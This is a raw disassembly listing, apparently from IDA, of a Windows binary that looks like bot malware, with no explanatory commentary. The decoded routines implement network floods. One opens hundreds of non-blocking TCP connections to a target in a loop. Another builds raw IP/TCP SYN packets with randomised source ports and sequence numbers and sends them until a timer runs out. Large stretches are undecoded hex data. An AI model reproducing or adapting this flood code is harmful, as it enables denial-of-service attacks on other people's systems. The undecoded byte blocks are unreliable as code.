		push	edi
		idiv	ecx
		push	ebx
		push	dword ptr [esp+2Ch]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_412B09
		add	esp, 20h
		test	eax, eax
		jnz	short loc_412E8F
		push	1
		pop	eax


loc_412E8F:				; CODE XREF: ___:00412E8Aj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
word_412E9E	dw 8B55h		; DATA XREF: sub_401ACD+6722o
		dd 0BCEC81ECh, 53000003h, 8458B56h, 8B686A57h, 0BD8D59F0h
		dd 0FFFFFE44h, 685B016Ah, 0FFh,	0A5F3036Ah, 9889026Ah
		dd 19Ch, 0B6C415FFh, 0F883004Ch, 0FC4589FFh, 15FF5F75h
		dd 4CB5D8h, 44858D50h, 68FFFFFCh, 436304h, 8994E850h, 0FF330000h
		dd 390CC483h, 2075DC7Dh, 44858D57h, 0FFFFFFFCh,	8D50D875h
		dd 0FFFF4885h, 0B5FF50FFh, 0FFFFFE44h, 0FF6B5AE8h, 14C483FFh
		dd 0FC44858Dh, 0E850FFFFh, 2285h, 0E8C875FFh, 0FFFF84E3h
		dd 90575959h, 2EDBF0E8h, 0F44D8D02h, 3351046Ah,	57026AFFh
		dd 0F45D8950h, 0B62415FFh
		db 4Ch,	0
word_412F4E	dw 0F883h		; DATA XREF: ___:off_43A85Co
		dd 0FF5D75FFh, 4CB5D815h, 858D5000h, 0FFFFFC44h, 4362D468h
		dd 1BE85000h, 83000089h, 7D390CC4h, 572075DCh, 0FC44858Dh
		dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h,	0E8FFFFFEh
		dd 0FFFF6AE3h, 8D14C483h, 0FFFC4485h, 0EE850FFh, 0FF000022h
		dd 6CE8C875h, 59FFFF84h, 0E8905759h, 22EDB79h, 0FE48858Dh
		dd 0FF50FFFFh, 4CB68415h, 0FFF88300h, 858D5575h, 0FFFFFC44h
		dd 4362B468h, 0B3E85000h, 39000088h, 5959DC7Dh,	8D572075h
		dd 0FFFC4485h, 0D875FFFFh, 48858D50h, 50FFFFFFh, 0FE44B5FFh
		dd 7CE8FFFFh, 83FFFF6Ah, 858D14C4h, 0FFFFFC44h,	21A7E850h
		dd 75FF0000h, 8405E8C8h, 5959FFFFh, 12E89057h, 6A022EDBh
		dd 0E4458D10h, 6DE85057h, 83000085h, 0C7660CC4h, 2E445h
		dd 4415FF57h, 66004CB6h, 8DE64589h, 0FFFE4885h,	15FF50FFh
		dd 4CB684h, 70A8358Bh, 45890042h, 87D89E8h, 4589D6FFh
		dd 2BD6FFF8h, 0D233F845h, 3E8B9h, 3BF1F700h, 870FD045h
		dd 194h, 41C68h, 0B805C600h, 45004CE3h,	0B64415FFh, 7D39004Ch
		dd 0BAA366D4h, 66004CE3h, 0E3BC1D89h, 8966004Ch, 4CE3BE3Dh
		dd 0C005C600h, 80004CE3h, 0E3C11D88h, 8966004Ch, 4CE3C23Dh
		dd 0E8307400h, 8832h, 0E3C1D88Bh, 8828E808h, 0D8030000h
		dd 0E808E3C1h, 881Eh, 0E3C1D803h, 8814E808h, 0D8030000h
		dd 1D89016Ah, 4CE3C4h, 0FF18EB5Bh, 0FFFE44B5h, 7B2AE8FFh
		dd 5059FFFFh, 0B68415FFh, 0C4A3004Ch, 8B004CE3h, 0C8A3E845h
		dd 0E8004CE3h, 87E2h, 100B999h,	0F9F70000h, 0E3CC1588h
		dd 0CFE8004Ch, 99000087h, 100B9h, 88F9F700h, 4CE3CD15h
		dd 87BCE800h, 0B9990000h, 0F0h,	40068h,	66F9F700h, 0E3CE3D89h
		dd 8966004Ch, 4CE3D21Dh, 89664200h, 4CE3D015h, 8794E800h
		dd 0B9990000h, 0FFh, 6852F9F7h,	4CE3D4h, 842FE8h, 0CC48300h
		dd 6AE4458Dh, 68575010h, 41Ch, 4CE3B868h, 0FC75FF00h, 0B6A815FFh
		dd 0F883004Ch, 0FF0874FFh, 0CAE90845h, 0FFFFFFFEh, 15FFFC75h
		dd 4CB6DCh, 0B5D815FFh,	8D50004Ch, 0FFFE4885h, 875FFFFh
		dd 626C6850h, 858D0043h, 0FFFFFC44h, 20068h, 0C5E85000h
		dd 83000087h, 7D3918C4h, 572075DCh, 0FC44858Dh,	75FFFFFFh
		dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF6893h
		dd 8D14C483h, 0FFFC4485h, 0BEE850FFh, 0FF00001Fh, 1CE8C875h
		dd 59FFFF82h, 2AE85759h, 90022ED9h, 0FFFC75FFh,	4CB6DC15h
		dd 8458B00h, 0C06BD233h, 0C1C88B3Ch, 75F70AE8h,	14E9C1D0h
		dd 858D5051h, 0FFFFFE48h, 500875FFh, 0FEC8858Dh, 8D50FFFFh
		dd 0FFFC4485h, 622068FFh, 0E8500043h, 8646h, 391CC483h
		dd 2075DC7Dh, 44858D57h, 0FFFFFFFCh, 8D50D875h,	0FFFF4885h
		dd 0B5FF50FFh, 0FFFFFE44h, 0FF680EE8h, 14C483FFh, 0FC44858Dh
		dd 0E850FFFFh, 1F39h, 0E8C875FFh, 0FFFF8197h, 90575959h
		dd 2ED8A4E8h
		db 2
byte_413285	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+5510o
		dd 10320B8h, 888EE800h,	458B0000h, 57565308h, 0F08B496Ah
		dd 0BCBD8D59h, 0F3FFFFFEh, 5F016AA5h, 120B889h,	15FF0000h
		dd 4CB5CCh, 8D084589h, 0FFFF4085h, 15FF50FFh, 4CB684h
		dd 0DB33F08Bh, 0FE83C033h, 8D1175FFh, 0FFFF4085h, 15FF50FFh
		dd 4CB6C8h, 674C33Bh, 0FF087D83h, 858D5D75h, 0FFFFFF40h
		dd 0BC858D50h, 68FFFFFCh, 43635Ch, 8588E850h, 0C4830000h
		dd 0D85D390Ch, 8D532075h, 0FFFCBC85h, 0D475FFFFh, 0C0858D50h
		dd 50FFFFFEh, 0FEBCB5FFh, 50E8FFFFh, 83FFFF67h,	858D14C4h
		dd 0FFFFFCBCh, 1E7BE850h, 75FF0000h, 80D9E8D0h,	5959FFFFh
		dd 0E6E89057h, 3B022ED7h, 8B0C74C3h, 8B0C40h, 4589008Bh
		dd 8903EBFCh, 1C6AFC75h, 53E0458Dh, 822EE850h, 4D830000h
		dd 0DCB8FFE8h, 830000FFh, 45390CC4h, 89037EC4h,	7D39C445h
		dd 89037DC8h, 0F633C87Dh, 7EC05D39h, 0C875FF26h, 6AE0458Dh
		dd 8D53501Ch, 0FEFCE085h, 0C475FFFFh, 0FC75FF50h, 0FF0875FFh
		dd 4CB55C15h, 753B4600h, 0FFDA7CC0h, 15FF0875h,	4CB6FCh
		dd 0FF40858Dh, 8D50FFFFh, 0FFFCBC85h, 633068FFh, 0E8500043h
		dd 84BAh, 390CC483h, 2075D85Dh,	0BC858D53h, 0FFFFFFFCh
		dd 8D50D475h, 0FFFEC085h, 0B5FF50FFh, 0FFFFFEBCh, 0FF6682E8h
		dd 14C483FFh, 0FCBC858Dh, 0E850FFFFh, 1DADh, 0E8D075FFh
		dd 0FFFF800Bh, 0E8535959h, 22ED719h
		db 90h
byte_413411	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+575Co
		dd 10310B8h, 8702E800h,	458B0000h, 57565308h, 0F08B496Ah
		dd 0CCBD8D59h, 0F3FFFFFEh, 5E016AA5h, 120B089h,	0E8900000h
		dd 229D383h, 8492E850h,	6A590000h, 6A026A11h, 0C415FF02h
		dd 8B004CB6h, 6AFF33D8h, 0F0458D10h, 2DE85057h,	83000081h
		dd 858D0CC4h, 0FFFFFF50h, 0F045C766h, 0FF500002h, 4CB68415h
		dd 0FFF88300h, 75084589h, 50858D75h, 50FFFFFFh,	0B6C815FFh
		dd 0C73B004Ch, 858D5D75h, 0FFFFFF50h, 0CC858D50h, 68FFFFFCh
		dd 4363B0h, 83DCE850h, 0C4830000h, 0E87D390Ch, 8D572075h
		dd 0FFFCCC85h, 0E475FFFFh, 0D0858D50h, 50FFFFFEh, 0FECCB5FFh
		dd 0A4E8FFFFh, 83FFFF65h, 858D14C4h, 0FFFFFCCCh, 1CCFE850h
		dd 75FF0000h, 7F2DE8E0h, 5959FFFFh, 0D63BE856h,	8B90022Eh
		dd 8B0C40h, 458D03EBh, 39008B08h, 4589DC7Dh, 0E81175F4h
		dd 83DAh, 0FFDCB999h, 0F9F70000h, 3EB5242h, 0FFDC75FFh
		dd 4CB64415h, 0DC753900h, 0F2458966h, 7589037Dh, 0FFFFB8DCh
		dd 45390000h, 89037EDCh, 458BDC45h, 990A6AD0h, 39F9F759h
		dd 4589D87Dh, 890375D0h, 0F633D875h, 7ED47D39h,	838CE81Ah
		dd 0B9990000h, 0FFh, 3B46F9F7h,	9488D475h, 0FEFCEF35h
		dd 8BE67CFFh, 4DFFD045h, 7EC085D0h, 5E0B6A55h, 6AF0458Dh
		dd 0E8575010h, 835Eh, 59990A6Ah, 458BF9F7h, 50C22BD4h
		dd 0FCF0858Dh, 5350FFFEh, 0B6A815FFh, 75FF004Ch, 0BCE890D8h
		dd 4E0227D9h, 7D39CE75h, 0E8BC75DCh, 832Eh, 0FFDCB999h
		dd 0F9F70000h, 15FF5242h, 4CB644h, 0F2458966h, 858DA1EBh
		dd 0FFFFFF50h, 0CC858D50h, 68FFFFFCh, 436384h, 82A4E850h
		dd 0C4830000h, 0E87D390Ch, 8D572075h, 0FFFCCC85h, 0E475FFFFh
		dd 0D0858D50h, 50FFFFFEh, 0FECCB5FFh, 6CE8FFFFh, 83FFFF64h
		dd 858D14C4h, 0FFFFFCCCh, 1B97E850h, 75FF0000h,	7DF5E8E0h
		dd 5959FFFFh, 0D503E857h
		db 2Eh,	2, 90h
byte_413627	db 55h			; DATA XREF: sub_401ACD+4DEDo
		dd 0EC81EC8Bh, 414h, 5608458Bh,	85B957h, 0F08B0000h, 0FDECBD8Dh
		dd 0A5F3FFFFh, 21080C7h, 10000h, 858D0000h, 0FFFFFEF0h
		dd 70858D50h, 50FFFFFEh, 0FDF0858Dh, 0E850FFFFh, 120h
		dd 500CC483h, 0FBEC858Dh, 0D868FFFFh, 50004363h, 8209E8h
		dd 83F63300h, 75390CC4h, 562075F8h, 0FBEC858Dh,	75FFFFFFh
		dd 858D50F4h, 0FFFFFF70h, 0ECB5FF50h, 0E8FFFFFDh, 0FFFF63CFh
		dd 8D14C483h, 0FFFBEC85h, 0FAE850FFh, 0FF00001Ah, 58E8F075h
		dd 59FFFF7Dh, 0E8905659h, 22ED465h
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4136C6	proc near		; CODE XREF: ___:004137AFp

var_654		= byte ptr -654h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_4]
		call	dword_4CB644
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_413784
		push	ebx
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h


loc_413711:				; CODE XREF: sub_4136C6+B9j
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_413719:				; CODE XREF: sub_4136C6+7Aj
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_41373C
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		nop
		call	near ptr 71AB155Ah


loc_41373C:				; CODE XREF: sub_4136C6+64j
		add	esi, 4
		dec	ebx
		jnz	short loc_413719
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_41374A:				; CODE XREF: sub_4136C6+96j
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	dword ptr [esi]
		nop
		call	near ptr 71AB3E5Dh
		add	esi, 4
		dec	ebx
		jnz	short loc_41374A
		push	64h
		nop
		call	near ptr 2690F63h
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_41376E:				; CODE XREF: sub_4136C6+B4j
		push	dword ptr [esi]
		nop
		call	near ptr 71AB1A6Dh
		add	esi, 4
		dec	ebx
		jnz	short loc_41376E
		dec	[ebp+arg_4]
		jnz	short loc_413711
		pop	edi
		pop	esi
		pop	ebx


loc_413784:				; CODE XREF: sub_4136C6+3Ej
		xor	eax, eax
		leave
		retn
sub_4136C6	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAFA
		push	dword ptr [esp+18h]
		mov	edi, eax
		call	sub_41B779
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41B779
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_4136C6
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4137BE
		push	1
		pop	eax


loc_4137BE:				; CODE XREF: ___:004137B9j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
byte_4137CD	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+644Ao
		dd 414EC81h, 458B0000h,	0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh
		dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 8D50FFFFh, 0FFFE7085h
		dd 858D50FFh, 0FFFFFDF0h, 310E850h, 0C4830000h,	858D500Ch
		dd 0FFFFFBECh, 43640468h, 63E85000h, 33000080h,	0CC483F6h
		dd 75F87539h, 858D5620h, 0FFFFFBECh, 50F475FFh,	0FF70858Dh
		dd 0FF50FFFFh, 0FFFDECB5h, 6229E8FFh, 0C483FFFFh, 0EC858D14h
		dd 50FFFFFBh, 1954E8h, 0F075FF00h, 0FF7BB2E8h, 565959FFh
		dd 0D2BFE890h, 5E5F022Eh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41386C	proc near		; CODE XREF: ___:00413B5Ap

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CB5B4
		test	eax, eax
		jz	short loc_4138AC
		xor	eax, eax
		jmp	loc_413B1A
; ---------------------------------------------------------------------------


loc_4138AC:				; CODE XREF: sub_41386C+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CB6E8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_413B12
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_4CB624
		cmp	eax, 0FFFFFFFFh
		jz	loc_413B08
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	dword_4CB644
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_4CB644
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_4CB644
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_4CB644
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		call	near ptr 27D0000h
		nop
		lea	eax, [ebp+var_8]
		push	eax
		call	near ptr 27C0AA6h
		nop
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_41D280
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax


loc_413997:				; CODE XREF: sub_41386C+25Dj
					; sub_41386C+26Bj
		mov	[ebp+var_24], bx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CB644
		mov	[ebp+var_34], ax
		call	sub_41B8E2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41B8E2
		or	edi, eax
		push	edi
		call	dword_4CB644
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CB640
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CB644
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AC69
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C310
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AC69
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_4CB6A8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413ADC
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 27C0AA6h
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_413B05
		jl	loc_413997
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_413B05
		jmp	loc_413997
; ---------------------------------------------------------------------------


loc_413ADC:				; CODE XREF: sub_41386C+247j
		call	dword_4CB5D8
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_43642C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_4151AD
		add	esp, 10h
		jmp	short loc_413B08
; ---------------------------------------------------------------------------


loc_413B05:				; CODE XREF: sub_41386C+25Bj
					; sub_41386C+269j
		mov	ebx, [ebp+arg_8]


loc_413B08:				; CODE XREF: sub_41386C+78j
					; sub_41386C+297j
		push	[ebp+var_C]
		call	dword_4CB6DC
		pop	esi


loc_413B12:				; CODE XREF: sub_41386C+5Bj
		call	dword_4CB59C
		mov	eax, ebx


loc_413B1A:				; CODE XREF: sub_41386C+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_41386C	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAFA
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41B779
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41B779
		mov	edi, eax
		call	sub_41B8E2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_41386C
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_413B69
		push	1
		pop	eax


loc_413B69:				; CODE XREF: ___:00413B64j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
dword_413B78	dd 81EC8B55h, 394ECh, 8458B00h,	656A5756h, 8DF08B59h, 0FFFE6CBDh
					; DATA XREF: sub_401ACD+6E45o
		dd 0C7A5F3FFh, 19080h, 100h, 0F0858D00h, 50FFFFFEh, 7BD0E8h
		dd 8D505900h, 0FFFE7085h, 15FF50FFh, 4CB684h, 5DE850h
		dd 59590000h, 6C858D50h, 68FFFFFCh, 43644Ch, 7CB4E850h
		dd 0F6330000h, 390CC483h, 2075F875h, 6C858D56h,	0FFFFFFFCh
		dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFE6Ch, 0FF5E7AE8h
		dd 14C483FFh, 0FC6C858Dh, 0E850FFFFh, 15A5h, 0E8F075FFh
		dd 0FFFF7803h, 90565959h, 2ECF10E8h, 555E5F02h,	0EC81EC8Bh
		dd 98h,	6A575653h, 0A5835901h, 0FFFFFF78h, 83046A00h, 5E00A865h
		dd 0FFBBh, 33066A00h, 7D8D5AC0h, 7C8D89ACh, 0C7FFFFFFh
		dd 28045h, 75890000h, 88558984h, 88C45C7h, 0C7000000h
		dd 0C9045h, 45C70000h, 1194h, 9845C700h, 16h, 299C45C7h
		dd 0C7000000h, 3AA045h,	5D890000h, 0B04589A4h, 0D47D8DABh
		dd 89B44589h, 45C7B845h, 2000BCh, 0C0758900h, 0C7C45589h
		dd 3FFFC845h, 4D890000h, 0D04589CCh, 0ABD84D89h, 100BFh
		dd 0AE85700h, 59000093h, 57FC4589h, 5815FF50h, 0FF004CB6h
		dd 15FFFC75h, 4CB6C8h, 530C408Bh, 26A036Ah, 8B008Bh, 0FFF44589h
		dd 4CB6C415h, 0D84D8D00h, 26A5156h, 8950006Ah, 15FFFC45h
		dd 4CB624h, 200BEh, 0D2E85600h,	8B000077h, 4270A83Dh, 45895900h
		dd 89D7FFF8h, 458BF045h, 29A6808h, 85890000h, 0FFFFFF6Ch
		dd 6885C766h, 2FFFFFFh,	4415FF00h, 66004CB6h, 0FF6A8589h
		dd 0D7FFFFFFh, 33F0452Bh, 3E8B9D2h, 0F1F70000h,	0F0C453Bh
		dd 0CF87h, 7B90E800h, 8B990000h, 8BF9F7CBh, 0FF25F445h
		dd 0C100FFFFh, 0D00B18E2h, 0E8F45589h, 7B76h, 0F7CB8B99h
		dd 0AC5589F9h, 7B69E8h,	0A4B99900h, 0C600001Fh,	0F745DC45h
		dd 0DD45C6F9h, 0D4558904h, 7B51E8h, 45896600h, 7B48E8E0h
		dd 0A6A0000h, 0F9F75999h, 95448B66h, 15FF50B0h,	4CB644h
		dd 45896656h, 4415FFE2h, 66004CB6h, 88DE4589h, 1FE8E45Dh
		dd 6A00007Bh, 0F759990Eh, 8A146AF9h, 0FF789584h, 4588FFFFh
		dd 0F4458BE5h, 8BE84589h, 45890845h, 0DC458DECh, 6E7FE850h
		dd 8966FFFFh, 458DE645h, 50146ADCh, 0E8F875FFh,	8514h
		dd 8D14C483h, 0FFFF6885h, 50106AFFh, 0FF56006Ah, 75FFF875h
		dd 0A815FFFCh, 0E9004CB6h, 0FFFFFF1Ah, 0E8F875FFh, 728Dh
		dd 0FC75FF59h, 0B6DC15FFh, 16A004Ch, 5B5E5F58h
; ---------------------------------------------------------------------------
		leave
		retn
; ---------------------------------------------------------------------------
word_413E36	dw 8B55h		; DATA XREF: sub_401ACD+53E9o
		dd 40EC81ECh, 8B000004h, 56530845h, 8B686A57h, 0BD8D59F0h
		dd 0FFFFFDC0h, 16AA5F3h, 8D5EDB33h, 0FFFF61BDh,	890E6AFFh
		dd 19CB0h, 0C0335900h, 0FF609D88h, 0ABF3FFFFh, 8BAAAB66h
		dd 4270A83Dh, 50D7FF00h, 7A57E8h, 0FF685900h, 6A000000h
		dd 0FF026A03h, 4CB6C415h, 0FFF88300h, 75FC4589h, 0D815FF66h
		dd 50004CB5h, 0FBC0858Dh, 6468FFFFh, 50004365h,	79D5E8h
		dd 0CC48300h, 0FF589D39h, 2375FFFFh, 0C0858D53h, 0FFFFFFFBh
		dd 0FFFF54B5h, 858D50FFh, 0FFFFFEC4h, 0C0B5FF50h, 0E8FFFFFDh
		dd 0FFFF5B97h, 8D14C483h, 0FFFBC085h, 0C2E850FFh, 0FF000012h
		dd 0FFFF44B5h, 751DE8FFh, 5959FFFFh, 2AE89053h,	8D022ECCh
		dd 46ACC4Dh, 53026A51h,	0CC758950h, 0B62415FFh,	0F883004Ch
		dd 0FF6675FFh, 4CB5D815h, 858D5000h, 0FFFFFBC0h, 43652C68h
		dd 57E85000h, 83000079h, 9D390CC4h, 0FFFFFF58h,	8D532375h
		dd 0FFFBC085h, 54B5FFFFh, 50FFFFFFh, 0FEC4858Dh, 0FF50FFFFh
		dd 0FFFDC0B5h, 5B19E8FFh, 0C483FFFFh, 0C0858D14h, 50FFFFFBh
		dd 1244E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF749Fh, 90535959h
		dd 2ECBACE8h, 0C4858D02h, 50FFFFFDh, 0B68415FFh, 0F883004Ch
		dd 8D5E75FFh, 0FFFBC085h, 650C68FFh, 0E8500043h, 78E6h
		dd 0FF589D39h, 5959FFFFh, 8D532375h, 0FFFBC085h, 54B5FFFFh
		dd 50FFFFFFh, 0FEC4858Dh, 0FF50FFFFh, 0FFFDC0B5h, 5AA9E8FFh
		dd 0C483FFFFh, 0C0858D14h, 50FFFFFBh, 11D4E8h, 44B5FF00h
		dd 0E8FFFFFFh, 0FFFF742Fh, 90535959h, 2ECB3CE8h, 8D106A02h
		dd 5053BC45h, 7597E8h, 0CC48300h, 0BC45C766h, 0FF530002h
		dd 4CB64415h, 45896600h, 0C4858DBEh, 50FFFFFDh,	0B68415FFh
		dd 4589004Ch, 85D89C0h,	4589D7FFh, 2BD7FFD0h, 0D233D045h
		dd 3E8B9h, 3BF1F700h, 0FFFF4C85h, 0AA870FFFh, 6A000002h
		dd 0D445C628h, 4415FF45h, 39004CB6h, 0FFFF509Dh, 458966FFh
		dd 758966D6h, 5D8966D8h, 0DC45C6DAh, 0DD45C680h, 5D896606h
		dd 0E82D74DEh, 7872h, 0E6C1F08Bh, 7868E808h, 0F0030000h
		dd 0E808E6C1h, 785Eh, 0E6C1F003h, 7854E808h, 0F0030000h
		dd 7589016Ah, 16EB5EE0h, 0FDC0B5FFh, 6DE8FFFFh,	59FFFF6Bh
		dd 8415FF50h, 89004CB6h, 458BE045h, 489D39C0h, 89FFFFFFh
		dd 1075E445h, 7821E8h, 1B99900h, 0F7000004h, 6EB52F9h
		dd 0FF48B5FFh, 15FFFFFFh, 4CB644h, 0EA458966h, 7801E8h
		dd 1B99900h, 0F7000004h, 15FF52F9h, 4CB644h, 34567868h
		dd 45896612h, 4015FFE8h, 89004CB6h, 858DEC45h, 0FFFFFE44h
		dd 42B27C68h, 0EDE85000h, 59000077h, 7459C085h,	0F05D8909h
		dd 2F545C6h, 858D5CEBh,	0FFFFFE44h, 42B0B468h, 0CDE85000h
		dd 59000077h, 7459C085h, 0F05D8909h, 10F545C6h,	858D3CEBh
		dd 0FFFFFE44h, 42B0AC68h, 0ADE85000h, 59000077h, 7459C085h
		dd 7784E825h, 36A0000h,	0F9F75999h, 0E8F05589h,	7776h
		dd 5999026Ah, 0DAF7F9F7h, 0E280D21Ah, 88D1020Eh, 68F555h
		dd 0C6000002h, 0FF50F445h, 4CB64415h, 45896600h, 0E0458BF6h
		dd 8B9C4589h, 146AE445h, 0FA5D8966h, 0F85D8966h, 88A04589h
